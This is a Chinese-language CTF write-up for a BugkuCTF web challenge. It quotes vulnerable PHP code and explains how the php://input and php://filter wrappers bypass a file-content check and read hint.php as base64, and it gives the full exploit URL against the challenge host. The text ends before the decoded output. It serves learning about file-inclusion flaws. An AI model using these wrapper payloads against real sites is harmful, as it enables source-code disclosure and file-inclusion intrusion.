原题内容:
http://120.24.86.145:8006/test1/
首先bp一下,可见提示源码:
<!-- $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>"; include($file); //hint.php }else{ echo "you are not admin ! "; } -->
首先,分析代码获取四个需求:
1.三个传参
2.$user存在且不为空,
3.读取$user文件,内容为welcome to the bugkuctf,
4.$file要求为hint.php,将其导入
其实比较熟悉就知道两个点可以利用了,php://input与php://filter
php不提了,之前的博客中讲解过,不懂得可以前去看一下
CTF/CTF练习平台-flag在index里【php://filter的利用】
这里讲一下php://input
当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取
这题的效果如下:
加上php://filter的利用,读取hint.php的内容
load url改为:
http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=
可得到base64加密的字符串: